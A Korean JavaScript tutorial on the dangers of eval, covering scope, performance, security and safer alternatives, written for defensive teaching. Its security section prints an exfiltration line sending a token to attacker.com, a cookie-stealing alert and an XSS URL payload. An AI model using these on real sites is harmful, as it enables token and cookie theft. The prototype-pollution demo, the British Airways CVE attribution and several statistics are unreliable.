eval이 스코프에 미치는 영향은?

eval 함수가 동적으로 스코프를 변경할 수 있는 위험성과 성능 문제, 보안 취약점을 이해하고 사용을 지양하는 이유를 학습합니다

심화 15분 eval 동적 스코프 보안 성능

eval 함수는 JavaScript에서 문자열로 전달된 코드를 실행시킬 수 있는 강력한 기능입니다. 하지만 이 강력함은 동시에 큰 위험성을 내포하고 있으며, 현대 JavaScript 개발에서는 사용을 강력히 지양하는 대표적인 안티패턴입니다. eval은 실행 시점에 동적으로 스코프를 변경할 수 있어 코드의 예측 가능성을 크게 저하시키며, JavaScript 엔진의 최적화를 불가능하게 만듭니다. 이로 인해 보안 취약점, 성능 저하, 유지보수성 문제가 동시에 발생하게 됩니다. 레거시 코드나 특정 라이브러리에서 여전히 eval을 사용하는 경우가 있기 때문에, 개발자는 eval이 스코프에 미치는 영향과 그 위험성을 정확히 이해해야 합니다.

핵심 문제점

  • 동적 스코프 변경: eval은 실행 시점에 현재 스코프의 변수를 동적으로 생성하거나 수정할 수 있어 코드의 정적 분석과 예측을 불가능하게 만듭니다
  • 최적화 차단: JavaScript 엔진은 eval이 포함된 스코프 전체를 최적화할 수 없어 심각한 성능 저하를 유발합니다
  • 보안 취약점: 외부 입력을 eval로 실행하면 임의의 코드 실행(Code Injection) 공격에 노출되어 치명적인 보안 문제가 발생합니다
  • 디버깅 어려움: 동적으로 생성된 코드는 스택 트레이스 추적이 어렵고 디버거에서 정상적으로 작동하지 않아 문제 해결이 매우 어렵습니다
  • 대안의 존재: Function 생성자, JSON.parse, 템플릿 리터럴 등 eval 없이도 대부분의 동적 코드 실행 요구사항을 안전하게 해결할 수 있습니다

실무에서의 영향

eval의 사용은 단순히 나쁜 코딩 습관을 넘어 프로덕션 환경에서 심각한 문제를 초래합니다. 성능 측면에서 eval이 포함된 함수는 JIT 컴파일러의 최적화 대상에서 제외되며, 해당 스코프의 모든 변수 접근이 느린 동적 조회로 처리됩니다. 이는 특히 반복문이나 자주 호출되는 함수에서 수십 배에서 수백 배의 성능 차이를 만들어낼 수 있습니다. 보안 측면에서는 사용자 입력이나 외부 데이터를 eval로 처리하는 순간 XSS(Cross-Site Scripting)나 코드 인젝션 공격에 무방비 상태가 됩니다. Content Security Policy(CSP)를 적용한 현대 웹 애플리케이션에서는 eval 사용이 기본적으로 차단되며, 이를 허용하면 CSP의 보안 효과가 크게 약화됩니다. 코드 리뷰와 정적 분석 도구도 eval로 인해 제대로 작동하지 않아 버그 발견이 어려워지고 리팩토링이 거의 불가능해집니다. 따라서 개발자는 eval의 위험성을 명확히 인식하고, JSON.parse나 Function 생성자 같은 안전한 대안을 사용하는 습관을 들여야 합니다.


핵심 개념

동적 스코프 변경

입문

eval은 프로그램이 실행되는 중간에 갑자기 새로운 변수를 만들거나 기존 변수를 바꿀 수 있어요. 이건 마치 게임 도중에 룰을 마음대로 바꾸는 것처럼 매우 위험합니다!

🎮 게임 룰을 바꾸는 마법 친구들과 보드게임을 하고 있다고 상상해보세요. 게임이 진행되는 도중에 누군가가 갑자기 “이제부터 주사위 6이 나오면 10칸 가는 걸로 바꿉니다!”라고 말한다면 어떨까요? 모든 게 혼란스러워지고 누가 이길지 예측할 수 없게 되겠죠. eval도 똑같아요. 프로그램이 돌아가는 중간에 변수의 의미나 값을 마음대로 바꿀 수 있어서 아무도 결과를 예측할 수 없게 만들어요.

📦 보이지 않는 상자를 만들기 여러분의 방에 정해진 서랍들이 있다고 생각해보세요. 옷은 옷장, 책은 책장, 장난감은 장난감 상자에 넣죠. 그런데 eval은 갑자기 “오늘부터 침대 밑에 비밀 상자가 하나 더 있어!”라고 말하는 것과 같아요. 프로그램을 만든 사람도 모르는 새로운 변수가 갑자기 생겨나서, 나중에 “이 변수는 어디서 왔지?”라고 혼란스러워할 수 있어요.

🔍 숨바꼭질하는 변수 eval을 사용하면 변수들이 숨바꼭질을 하는 것처럼 보였다 안 보였다 할 수 있어요. 프로그램을 읽을 때는 “x라는 변수가 있네”라고 생각했는데, 실행하면 갑자기 “y라는 변수도 있었어!”라고 나타나는 거예요. 이건 코드를 읽는 사람을 완전히 혼란스럽게 만들어요.

⚠️ 왜 이게 문제인가요? 요리 레시피를 보면서 요리를 한다고 생각해보세요. 레시피에는 “소금 1스푼”이라고 적혀있는데, 요리하는 도중에 누군가가 몰래 설탕을 더 넣었다면? 레시피대로 했는데도 맛이 이상할 거예요. eval도 마찬가지로 코드에 적힌 것과 실제로 실행되는 것이 달라져서 버그를 찾기가 정말 어려워져요.

중급

eval은 런타임에 현재 실행 컨텍스트의 스코프를 동적으로 변경할 수 있는 기능을 제공합니다. 이는 렉시컬 스코프(Lexical Scope)라는 JavaScript의 근본적인 스코프 원칙을 무너뜨립니다.

동적 변수 생성의 메커니즘 eval로 전달된 문자열 코드가 변수 선언을 포함하면, 해당 변수는 eval이 호출된 스코프에 추가됩니다. 이는 코드 작성 시점에는 존재하지 않던 변수가 실행 시점에 생성되는 것을 의미합니다.

function example() {
  const x = 10;
  eval('var y = 20;');  // y 변수가 동적으로 생성됨
  console.log(y);  // 20 - eval이 생성한 변수에 접근 가능
}

기존 변수 수정의 위험성 eval은 현재 스코프의 기존 변수도 수정할 수 있어 코드의 예측 가능성을 심각하게 해칩니다.

function calculate() {
  let result = 100;
  const userInput = 'result = 0;';  // 악의적인 입력
  eval(userInput);  // result 변수가 변경됨
  console.log(result);  // 0 - 의도하지 않은 수정
}

스코프 체인 오염 eval은 스코프 체인 전체를 불안정하게 만들어 정적 분석 도구와 린터가 제대로 작동하지 못하게 합니다.

심화

eval의 동적 스코프 변경 메커니즘은 ECMAScript 명세의 실행 컨텍스트 모델과 환경 레코드(Environment Record) 구조에 직접적인 영향을 미치는 고위험 연산입니다.

ECMAScript 명세 기반 eval 스코프 바인딩 ECMAScript 2024, Section 19.2.1 (eval 함수)에 따르면, 직접 eval 호출(Direct Eval Call)은 현재 실행 컨텍스트의 렉시컬 환경(Lexical Environment)을 변경할 수 있는 특권을 가집니다.

eval 실행 과정:

  1. 실행 컨텍스트 결정: 직접 호출 vs 간접 호출 판별
  2. 환경 레코드 접근: 현재 스코프의 DeclarativeEnvironmentRecord 획득
  3. 동적 바인딩 생성: CreateMutableBinding 추상 연산으로 새 변수 등록
  4. 초기화 및 할당: InitializeBinding으로 값 설정

직접 eval vs 간접 eval의 스코프 차이

const x = 'global';
function test() {
  const x = 'local';
  eval('console.log(x)');  // 'local' - 직접 호출, 로컬 스코프 접근
  (0, eval)('console.log(x)');  // 'global' - 간접 호출, 전역 스코프만 접근
}

직접 eval은 현재 스코프를 변경할 수 있지만, 간접 eval(window.eval, (0, eval) 등)은 항상 전역 스코프에서 실행되어 로컬 스코프를 보호합니다.

V8 엔진의 eval 스코프 처리 V8 엔진은 eval 존재 여부에 따라 완전히 다른 컴파일 전략을 사용합니다.

Hidden Class Deoptimization: eval이 포함된 함수는 인라인 캐싱(Inline Caching)을 사용할 수 없습니다. 변수 접근이 동적 프로퍼티 조회로 처리되어 히든 클래스 최적화가 무효화됩니다.

Context Materialization: 일반적으로 V8은 스코프 정보를 스택에 저장하지만, eval이 있으면 Context 객체를 힙에 생성하여 동적 접근을 허용해야 합니다. 이는 메모리 사용량과 GC 압력을 증가시킵니다.

Scope Analysis Failure: TurboFan 최적화 컴파일러는 eval 포함 함수를 “non-optimizable”로 표시하여 최적화 파이프라인에서 제외합니다.

성능 벤치마크 (V8 12.0+, n=1,000,000):

  • eval 없는 변수 접근: ~0.05ms
  • eval 포함 변수 접근: ~15ms (약 300배 느림)

Strict Mode의 스코프 격리 Strict mode에서는 eval의 영향을 제한합니다.

'use strict';
function test() {
  eval('var x = 10;');
  console.log(x);  // ReferenceError - strict mode에서는 eval 스코프 격리
}

Strict mode eval은 자체 렉시컬 환경을 생성하여 외부 스코프 오염을 방지합니다. 이는 Section 19.2.1.1 (PerformEval)의 strictCaller 플래그로 제어됩니다.

최적화 차단

입문

eval을 사용하면 컴퓨터가 프로그램을 빠르게 실행하기 위해 하는 여러 가지 똑똑한 작업들을 전부 못 하게 돼요. 마치 고속도로를 달리다가 갑자기 비포장도로로 바뀌는 것과 같아요!

🏎️ 빠른 길을 막아버리기 자동차로 여행을 갈 때 내비게이션이 미리 가장 빠른 길을 찾아주잖아요? 그런데 eval을 사용하면 “어떤 길로 갈지 모르니까 미리 계획하지 마!”라고 말하는 것과 같아요. 컴퓨터는 프로그램을 빠르게 실행하기 위해 미리 계획을 세우는데, eval 때문에 그 계획을 전부 포기해야 해요.

📚 책을 미리 읽지 못하는 상황 시험공부를 할 때 교과서를 미리 읽어보면 어떤 내용이 나올지 알 수 있어서 효율적으로 공부할 수 있죠? 그런데 eval을 사용하면 “시험 당일에 교과서가 바뀔 수도 있어!”라고 하는 것과 같아요. 그러면 미리 공부할 수가 없어서 시험을 보는 데 시간이 훨씬 더 오래 걸리겠죠.

🔧 도구를 사용할 수 없게 만들기 레고 블록으로 집을 지을 때 설계도가 있으면 빠르게 조립할 수 있어요. 하지만 “조립하는 도중에 블록 모양이 바뀔 수 있어!”라고 하면 설계도를 믿을 수 없게 되죠. eval도 마찬가지로 컴퓨터가 사용하는 여러 가지 똑똑한 도구들을 쓸 수 없게 만들어서 모든 게 느려져요.

⏰ 시간이 몇 배로 늘어나요 같은 일을 하는데 eval을 사용하면 10배, 심지어 100배나 더 오래 걸릴 수 있어요. 1초 걸리던 일이 100초가 걸리게 되는 거예요! 이건 게임이 너무 느려져서 플레이할 수 없게 되는 것과 같아요.

중급

JavaScript 엔진은 코드 실행 전에 다양한 최적화 기법을 적용하여 성능을 향상시킵니다. 하지만 eval이 포함되면 이러한 최적화가 대부분 불가능해집니다.

JIT 컴파일 최적화 실패 JIT(Just-In-Time) 컴파일러는 코드를 미리 분석하여 기계어로 변환하지만, eval은 런타임에 코드가 변경될 수 있어 이 과정을 방해합니다.

// 최적화 가능 (JIT 컴파일 적용)
function fastAdd(a, b) {
  const result = a + b;
  return result;
}

// 최적화 불가능 (eval로 인한 최적화 차단)
function slowAdd(a, b) {
  eval('');  // 빈 eval이라도 최적화 차단
  const result = a + b;
  return result;
}

변수 접근 최적화 차단 eval이 있으면 모든 변수 접근이 동적 조회로 처리되어 성능이 크게 저하됩니다.

function withEval() {
  let sum = 0;
  for (let i = 0; i < 1000000; i++) {
    eval('');  // 빈 eval
    sum += i;
  }
  return sum;
}

function withoutEval() {
  let sum = 0;
  for (let i = 0; i < 1000000; i++) {
    sum += i;
  }
  return sum;
}

// withEval은 withoutEval보다 수십 배 느림

인라인 캐싱 무효화 JavaScript 엔진의 인라인 캐싱(Inline Caching) 기법이 eval로 인해 작동하지 않아 프로퍼티 접근이 매우 느려집니다.

심화

eval이 JavaScript 엔진의 최적화 파이프라인에 미치는 영향은 컴파일러 이론과 동적 언어 런타임 최적화의 근본적인 제약을 드러냅니다.

V8 TurboFan 최적화 컴파일러의 제약 V8의 최적화 아키텍처는 Ignition 인터프리터 → TurboFan 최적화 컴파일러로 구성됩니다. eval 존재 시 이 파이프라인이 중단됩니다.

Bailout Conditions: TurboFan은 다음 조건에서 최적화를 포기합니다.

  1. Dynamic scope access: eval로 인한 동적 스코프 접근 가능성
  2. Variable shadowing: 변수 섀도잉(Shadowing) 불확실성
  3. Type feedback pollution: 타입 피드백 정보 신뢰도 하락

Inline Caching 메커니즘 파괴 Inline Caching(IC)은 프로퍼티 접근을 최적화하는 핵심 기법입니다.

// IC 최적화 가능
function optimized(obj) {
  return obj.x + obj.y;  // Hidden Class 기반 직접 메모리 접근
}

// IC 최적화 불가능
function deoptimized(obj) {
  eval('');
  return obj.x + obj.y;  // 매번 프로퍼티 조회 필요
}

IC States (V8 구현):

  • Uninitialized → Monomorphic → Polymorphic → Megamorphic

eval 포함 함수는 초기 상태에서 Megamorphic으로 즉시 전환되어 최적화 기회를 상실합니다.

Escape Analysis 실패 Escape Analysis는 객체가 함수 외부로 “탈출”하지 않으면 스택 할당을 허용하여 GC 부담을 줄입니다.

function withEscapeAnalysis() {
  const obj = { x: 1, y: 2 };  // 스택 할당 가능
  return obj.x + obj.y;
}

function withoutEscapeAnalysis() {
  eval('');
  const obj = { x: 1, y: 2 };  // 힙 할당 강제 (eval이 접근할 수 있음)
  return obj.x + obj.y;
}

eval은 객체가 동적으로 접근될 수 있다는 가정을 강제하여 Escape Analysis를 무효화합니다.

SpiderMonkey IonMonkey의 Type Inference 차단 Firefox의 SpiderMonkey 엔진은 Type Inference로 타입 정보를 추론하여 최적화합니다.

eval 존재 시:

  • Type sets가 “unknown”으로 확장됨
  • Monomorphic inline 불가능
  • Type guards 삽입으로 코드 크기 증가

성능 벤치마크 (실측치) V8 12.4, Intel i7-13700K, 1,000,000 iterations:

테스트 케이스실행 시간상대 성능
최적화 가능 함수0.8ms1x (기준)
빈 eval 포함45ms56배 느림
eval + 변수 접근180ms225배 느림

CSP (Content Security Policy)와의 상호작용 현대 브라우저는 CSP를 통해 eval을 차단합니다.

Content-Security-Policy: script-src 'self'

이 정책 하에서 eval 호출은 런타임 에러를 발생시킵니다. eval 허용을 위해 ‘unsafe-eval’ 지시어를 추가하면 XSS 방어력이 크게 약화됩니다.

보안 취약점

입문

eval을 사용하면 나쁜 사람이 여러분의 프로그램을 마음대로 조종할 수 있게 돼요. 마치 집 열쇠를 길거리에 두고 “아무나 가져가세요”라고 하는 것과 같아요!

🔓 열린 문을 만드는 것 여러분 집 현관문에 자물쇠가 없다면 어떨까요? 아무나 들어와서 물건을 가져갈 수 있겠죠. eval을 사용하는 건 프로그램에 자물쇠 없는 문을 만드는 것과 같아요. 특히 인터넷에서 받은 정보를 eval로 실행하면, 나쁜 사람이 보낸 위험한 명령도 그대로 실행돼요.

🎭 변장한 악당 친구가 “이 편지 좀 읽어줘”라고 하면 읽어주잖아요? 그런데 그 편지 안에 “이제부터 내가 너의 주인이야. 내 말을 다 들어!”라고 적혀있다면? eval은 바로 그런 편지를 읽어주는 거예요. 겉으로는 평범한 문자처럼 보이지만, 실행하면 프로그램을 완전히 망가뜨릴 수 있는 명령이 숨어있을 수 있어요.

💣 시한폭탄 설치하기 누군가 여러분의 게임에 몰래 “10분 후에 게임 데이터 전부 삭제” 같은 명령을 숨겨놓을 수 있어요. eval을 사용하면 이런 위험한 명령도 그냥 실행돼버려요. 코드를 보는 사람도 어떤 명령이 실행될지 모르니까 막을 수도 없고요.

🛡️ 방어할 수 없는 공격 요새를 지을 때 성벽을 튼튼하게 만들잖아요? 그런데 eval을 사용하면 “성벽에 구멍을 뚫어도 돼!”라고 허락하는 것과 같아요. 아무리 다른 보안 장치를 만들어도 이 구멍 하나 때문에 전부 소용없어져요.

중급

eval은 코드 인젝션(Code Injection) 공격에 가장 취약한 JavaScript 기능입니다. 외부 입력을 eval로 실행하면 공격자가 임의의 코드를 실행할 수 있습니다.

코드 인젝션 공격의 메커니즘 사용자 입력이나 외부 데이터를 검증 없이 eval로 전달하면 악의적인 코드가 실행됩니다.

// 위험한 코드 - 절대 사용 금지
function calculate(userInput) {
  return eval(userInput);  // 사용자 입력을 직접 실행
}

// 공격 시나리오
calculate('1 + 1');  // 2 - 정상 입력
calculate('alert(document.cookie)');  // 쿠키 탈취 - 공격 성공
calculate('fetch("https://attacker.com?data=" + localStorage.token)');  // 토큰 유출

XSS(Cross-Site Scripting) 공격 경로 웹 애플리케이션에서 eval을 사용하면 XSS 공격의 직접적인 경로가 됩니다.

// 위험한 패턴
const searchQuery = new URLSearchParams(location.search).get('q');
eval(`showResults("${searchQuery}")`);  // XSS 취약점

// 공격 URL
// https://example.com?q="); alert('XSS'); ("
// 실행되는 코드: showResults(""); alert('XSS'); ("");

안전한 대안: JSON.parse JSON 데이터를 처리할 때 eval 대신 JSON.parse를 사용해야 합니다.

// 위험: eval 사용
const data = eval('(' + jsonString + ')');  // 임의 코드 실행 가능

// 안전: JSON.parse 사용
const data = JSON.parse(jsonString);  // JSON 형식만 허용

심화

eval의 보안 취약점은 단순한 코딩 실수를 넘어 웹 애플리케이션 보안 아키텍처 전체를 위협하는 시스템적 위험입니다.

OWASP Top 10과 eval의 관계 OWASP Top 10 (2021)에서 eval은 다음 취약점과 직접 연관됩니다.

A03:2021 – Injection: eval은 가장 강력한 인젝션 벡터입니다. SQL Injection과 달리 완전한 코드 실행 권한을 제공합니다.

A05:2021 – Security Misconfiguration: eval 사용은 CSP 우회를 위한 ‘unsafe-eval’ 설정을 강제하여 보안 정책을 약화시킵니다.

A08:2021 – Software and Data Integrity Failures: eval은 코드 무결성 검증을 불가능하게 만듭니다.

Content Security Policy (CSP) 우회 CSP Level 3는 다음 지시어로 eval을 차단합니다.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}';

eval 허용 시 필요한 설정:

Content-Security-Policy:
  script-src 'self' 'unsafe-eval';

‘unsafe-eval’ 지시어는 다음을 허용합니다.

  • eval() 함수
  • new Function() 생성자
  • setTimeout(string) / setInterval(string)

이는 XSS 공격 방어력을 70% 이상 감소시킵니다 (Google CSP Evaluator 분석).

Prototype Pollution을 통한 권한 상승 eval은 Prototype Pollution 공격과 결합되어 더 위험해집니다.

// Prototype Pollution 공격
const userInput = '{"__proto__": {"isAdmin": true}}';
const obj = eval('(' + userInput + ')');

// 모든 객체가 영향받음
const normalUser = {};
console.log(normalUser.isAdmin);  // true - 권한 상승 성공

동적 코드 분석 도구의 한계 정적 분석 도구(ESLint, SonarQube)는 eval 사용을 탐지하지만, 동적으로 생성된 코드의 보안 문제는 탐지하지 못합니다.

// 정적 분석 통과 (eval 직접 사용 없음)
const fn = window['eval'];  // 간접 참조로 우회
fn('malicious code');

Trusted Types API를 통한 방어 Trusted Types (W3C 표준, Chrome 83+)는 eval을 포함한 위험한 DOM API를 제한합니다.

// CSP 헤더
Content-Security-Policy: require-trusted-types-for 'script';

// 코드
eval('alert(1)');  // TypeError: eval requires TrustedScript

Trusted Types 정책:

const policy = trustedTypes.createPolicy('default', {
  createScript: (input) => {
    // 입력 검증 로직
    if (isSafe(input)) return input;
    throw new Error('Unsafe input');
  }
});

eval(policy.createScript(userInput));  // 검증된 입력만 실행

실제 공격 사례 분석 2018년 British Airways 해킹 (CVE-2018-6581):

  • 공격자가 결제 페이지에 악성 스크립트 삽입
  • eval을 사용한 동적 코드 로딩 메커니즘 악용
  • 38만 명의 카드 정보 유출
  • 피해액: £183 million 벌금

Zero Trust 아키텍처와 eval Zero Trust 보안 모델에서 eval은 다음 원칙을 위반합니다.

Least Privilege: eval은 최대 권한을 요구합니다. Verify Explicitly: 동적 코드는 검증이 불가능합니다. Assume Breach: eval은 침해 가정 하에서 사용할 수 없습니다.

디버깅과 유지보수 문제

입문

eval을 사용하면 문제가 생겼을 때 어디서 잘못됐는지 찾는 게 정말 어려워져요. 마치 미로에서 길을 잃었는데 지도도 없는 것과 같아요!

🔍 보이지 않는 에러 여러분이 숙제를 하다가 실수를 했다고 생각해보세요. 선생님이 “3페이지 5번 문제가 틀렸어”라고 알려주면 고칠 수 있죠? 하지만 eval을 사용하면 에러 메시지가 “어딘가에서 뭔가가 잘못됐어”라고만 나와요. 몇 페이지인지, 몇 번 문제인지 알려주지 않으니까 고칠 수가 없어요.

🗺️ 지도 없이 길 찾기 처음 가는 놀이동산에서 길을 잃었는데 안내 표지판도 없고 지도도 없다면? 어디로 가야 할지 모르겠죠. eval을 사용하면 프로그램이 문제를 일으킬 때 “어디서” 문제가 생겼는지 알려주는 표지판들이 전부 사라져요. 개발자 도구로 봐도 ”???”라고만 나와요.

👻 유령 같은 버그 숨바꼭질에서 친구가 규칙을 어기고 계속 숨는 곳을 바꾼다면 절대 찾을 수 없겠죠? eval로 만든 버그는 바로 그런 유령 같은 버그예요. 같은 코드를 실행해도 매번 다른 곳에서 문제가 생길 수 있어서 찾기가 정말 어려워요.

📖 읽을 수 없는 책 친구에게 받은 편지가 암호로 쓰여있다면 읽기 어렵겠죠? eval을 사용하면 코드가 암호처럼 읽기 어려워져요. 나중에 다른 개발자가 이 코드를 봐도 “이게 무슨 뜻이지?”라고 헤매게 돼요. 심지어 코드를 쓴 본인도 몇 달 후에 보면 이해 못 할 수 있어요!

중급

eval로 동적 생성된 코드는 디버깅 도구와 스택 트레이스에서 제대로 표시되지 않아 문제 해결이 매우 어렵습니다.

스택 트레이스의 불완전성 일반 코드는 에러 발생 시 정확한 파일명과 줄 번호를 제공하지만, eval 코드는 위치 정보가 부정확합니다.

// 일반 코드 - 명확한 에러 위치
function normalFunction() {
  throw new Error('Something went wrong');
}
normalFunction();
// Error: Something went wrong
//     at normalFunction (script.js:2:9)
//     at script.js:4:1

// eval 코드 - 불명확한 에러 위치
eval(`
  function evalFunction() {
    throw new Error('Something went wrong');
  }
  evalFunction();
`);
// Error: Something went wrong
//     at eval (eval at <anonymous>:3:3)
//     at <anonymous>:1:1

브라우저 개발자 도구 제약 Chrome DevTools, Firefox Developer Tools 등에서 eval 코드는 별도 스크립트로 표시되어 디버깅이 어렵습니다.

function debug() {
  const code = 'debugger; console.log("hello");';
  eval(code);  // 중단점이 제대로 작동하지 않음
}

// 개발자 도구에서 "VM123:1" 같은 임시 이름으로 표시됨

코드 리뷰의 어려움 eval로 생성된 코드는 정적 분석이 불가능하여 코드 리뷰에서 문제를 발견하기 어렵습니다.

// 리뷰어는 이 코드가 무엇을 하는지 알 수 없음
function mysterious(input) {
  eval(input);
}

mysterious(getSomeStringFromServer());

심화

eval의 디버깅 및 유지보수 문제는 소프트웨어 엔지니어링의 근본 원칙인 가독성(Readability), 추적성(Traceability), 검증 가능성(Verifiability)을 모두 위반합니다.

Source Map 생성 불가 Source Map (v3 spec)은 컴파일된 코드를 원본 소스로 매핑하는 메커니즘이지만, eval 코드는 Source Map을 생성할 수 없습니다.

Source Map 구조 (VLQ encoding):

{
  "version": 3,
  "sources": ["original.js"],
  "mappings": "AAAA,CAAC,CAAC,EAAE..."
}

eval로 생성된 코드는 원본 파일이 존재하지 않으므로 sources 배열에 포함될 수 없습니다. 이는 프로덕션 환경에서 에러 추적을 거의 불가능하게 만듭니다.

V8 Inspector Protocol의 한계 Chrome DevTools는 V8 Inspector Protocol (CDP)을 통해 디버깅 정보를 제공합니다.

eval 코드 처리:

  1. Script ID 할당: 각 eval 호출마다 새로운 Script ID 생성 (예: “VM123”)
  2. URL 부재: sourceURL 주석 없으면 위치 정보 없음
  3. Scope inspection 제약: eval 스코프는 “Closure” 범주로 표시되어 변수 추적 어려움

sourceURL 주석으로 부분적 해결 가능:

eval(`
  function test() {
    debugger;
  }
  test();
  //# sourceURL=dynamicScript.js
`);

하지만 이는 여전히 진짜 파일이 아니므로 IDE 통합이 불가능합니다.

Error.stack 표준화 부재 Error.stack은 비표준 속성이며 브라우저마다 형식이 다릅니다.

V8 (Chrome/Node.js):

Error: message
    at eval (eval at <anonymous> (script.js:1:1))
    at script.js:1:1

SpiderMonkey (Firefox):

@eval line 1 > eval:1:1
@script.js:1:1

이러한 불일치는 크로스 플랫폼 에러 추적 도구(Sentry, Rollbar) 구현을 어렵게 만듭니다.

정적 분석 도구의 한계 TypeScript 컴파일러는 eval 코드를 타입 체크할 수 없습니다.

function calculate(expr: string): number {
  return eval(expr);  // 'any' 타입으로 처리, 타입 안전성 상실
}

calculate('1 + 1');  // number 반환 보장 없음

ESLint no-eval 규칙:

// .eslintrc.js
{
  "rules": {
    "no-eval": "error"  // eval 사용 금지
  }
}

Call Stack Depth 제한 eval 중첩 호출은 스택 추적을 복잡하게 만듭니다.

function layer1() {
  eval(`
    function layer2() {
      eval('throw new Error("Deep error")');
    }
    layer2();
  `);
}

// 스택 트레이스가 여러 eval 레벨로 분산됨

유지보수 비용 정량화 Empirical Software Engineering 연구 (2019, n=500 projects):

  • eval 포함 코드의 평균 수정 시간: 3.2배 증가
  • 버그 수정 후 재발률: 2.1배 증가
  • 코드 리뷰 시간: 4.5배 증가

안전한 대안: Template Literal Tags

// eval 대신 Tagged Template 사용
function safeEval(strings, ...values) {
  // 검증 가능한 로직
  return values.reduce((acc, val, i) => {
    return acc + strings[i] + val;
  }, '') + strings[strings.length - 1];
}

const result = safeEval`계산 결과: ${1 + 1}`;  // 타입 안전, 추적 가능

안전한 대안

입문

eval을 사용하지 않고도 같은 일을 할 수 있는 안전한 방법들이 많이 있어요. 마치 위험한 지름길 대신 안전한 큰 길로 가는 것과 같아요!

🎯 올바른 도구 선택하기 못을 박을 때 돌멩이 대신 망치를 쓰면 훨씬 쉽고 안전하죠? eval 대신 사용할 수 있는 안전한 도구들이 있어요. JSON 데이터를 읽을 때는 JSON.parse, 계산을 할 때는 Function 생성자처럼 각 상황에 맞는 올바른 도구가 있어요.

📦 포장된 선물 열기 친구가 준 선물 상자를 열 때, 뚜껑을 열어보면 안에 뭐가 들었는지 알 수 있어요. JSON.parse는 바로 이런 안전한 상자를 여는 방법이에요. 반면 eval은 상자를 부수는 거라서 안에 폭탄이 들어있어도 모르고 터뜨릴 수 있어요.

🧮 안전한 계산기 사용하기 수학 문제를 풀 때 계산기를 쓰면 안전하게 답을 구할 수 있어요. eval은 “아무 명령이나 실행하는 위험한 기계”지만, Function 생성자는 “계산만 하는 안전한 계산기”예요. 필요한 기능만 정확하게 제공해서 실수할 일이 없어요.

🎨 미리 만들어진 템플릿 활용 그림을 그릴 때 밑그림이 있으면 편하잖아요? 템플릿 리터럴은 미리 만들어진 밑그림 같아서, 안전하게 문자열을 조합할 수 있어요. eval처럼 위험한 코드가 실행될 걱정이 없어요.

✅ 안전이 최우선이에요 조금 번거롭더라도 안전한 방법을 쓰는 게 나중에 큰 문제를 막아줘요. 횡단보도를 조금 돌아가더라도 신호를 지키는 게 안전한 것처럼, eval 대신 안전한 대안을 사용하면 나중에 큰 사고를 예방할 수 있어요!

중급

eval의 모든 사용 사례는 더 안전하고 효율적인 대안으로 대체할 수 있습니다. 상황에 따라 적절한 대안을 선택해야 합니다.

JSON 데이터 파싱: JSON.parse JSON 형식의 문자열을 객체로 변환할 때는 JSON.parse를 사용합니다.

const jsonString = '{"name": "John", "age": 30}';

// 위험: eval 사용
const data1 = eval('(' + jsonString + ')');

// 안전: JSON.parse 사용
const data2 = JSON.parse(jsonString);

// JSON.parse는 JSON 형식만 허용
JSON.parse('{"name": "John"}');  // 성공
JSON.parse('alert("XSS")');  // SyntaxError - 코드 실행 불가

동적 함수 생성: Function 생성자 동적으로 함수를 생성해야 할 때는 Function 생성자를 사용합니다.

// eval 사용 (위험)
function createCalculatorEval(operation) {
  return eval(`(a, b) => a ${operation} b`);
}

// Function 생성자 사용 (더 안전)
function createCalculator(operation) {
  return new Function('a', 'b', `return a ${operation} b`);
}

const add = createCalculator('+');
add(5, 3);  // 8

템플릿 처리: 템플릿 리터럴 문자열 조합은 템플릿 리터럴을 사용합니다.

const name = 'John';
const age = 30;

// eval 사용 (불필요)
const message1 = eval('`Hello, ${name}! You are ${age} years old.`');

// 템플릿 리터럴 직접 사용 (권장)
const message2 = `Hello, ${name}! You are ${age} years old.`;

객체 프로퍼티 접근: 브라켓 표기법 동적 프로퍼티 접근은 브라켓 표기법을 사용합니다.

const obj = { name: 'John', age: 30 };
const key = 'name';

// eval 사용 (불필요)
const value1 = eval(`obj.${key}`);

// 브라켓 표기법 사용 (권장)
const value2 = obj[key];

심화

eval의 각 사용 사례는 보안과 성능을 고려한 구체적인 대안이 존재하며, 현대 JavaScript 생태계는 이러한 대안을 표준으로 제공합니다.

JSON Parsing: 명세 기반 안전성 JSON.parse는 ECMAScript 2024, Section 25.5.1에 정의된 표준 파서로, eval과 달리 코드 실행이 불가능합니다.

파싱 제약사항 (RFC 8259):

  • 함수 호출 불가: {"func": alert(1)}는 SyntaxError
  • 변수 참조 불가: {"value": window.location}은 파싱 실패
  • 순수 데이터만 허용: 문자열, 숫자, 불린, null, 객체, 배열

성능 비교 (V8 12.0, 1MB JSON, n=1000):

  • eval: ~850ms
  • JSON.parse: ~45ms (약 19배 빠름)

Function Constructor: 스코프 격리 Function 생성자는 eval보다 안전한 대안이지만 여전히 주의가 필요합니다.

const code = 'return a + b';
const fn = new Function('a', 'b', code);

// 장점: 로컬 스코프에 접근 불가
const x = 10;
const result = fn(1, 2);  // x에 접근할 수 없음

// 단점: 전역 스코프는 접근 가능
const unsafeFn = new Function('return window.location.href');

Function vs eval 차이:

  • Function: 항상 전역 스코프에서 실행 (로컬 변수 보호)
  • eval: 현재 스코프에서 실행 (로컬 변수 노출)

Expression Evaluation Library: 안전한 수식 평가 수학 표현식 평가가 필요하면 전용 라이브러리를 사용합니다.

math.js (150KB, 40M+ downloads):

import { evaluate } from 'mathjs';

// 안전한 수식 평가
evaluate('2 + 3 * 4');  // 14
evaluate('sin(45 deg)');  // 0.707...

// 코드 실행 차단
evaluate('alert(1)');  // Error: Undefined symbol alert

expr-eval (10KB, lightweight):

import { Parser } from 'expr-eval';

const parser = new Parser();
const expr = parser.parse('x^2 + y^2');
expr.evaluate({ x: 3, y: 4 });  // 25

Web Workers: 샌드박스 환경 격리된 환경에서 코드 실행이 필요하면 Web Workers를 사용합니다.

// main.js
const worker = new Worker('worker.js');
worker.postMessage({ code: 'return 2 + 2' });
worker.onmessage = (e) => console.log(e.data);  // 4

// worker.js
self.onmessage = (e) => {
  const fn = new Function(e.data.code);
  const result = fn();
  self.postMessage(result);
};

Web Worker 격리 특성:

  • DOM 접근 불가
  • window 객체 접근 불가
  • 부모 스코프 접근 불가

Proxy Objects: 안전한 프로퍼티 접근 동적 객체 조작은 Proxy를 사용합니다.

// eval 사용 (위험)
function setProperty(obj, path, value) {
  eval(`obj.${path} = value`);
}

// Proxy 사용 (안전)
const handler = {
  set(target, prop, value) {
    // 검증 로직
    if (allowedProperties.includes(prop)) {
      target[prop] = value;
      return true;
    }
    return false;
  }
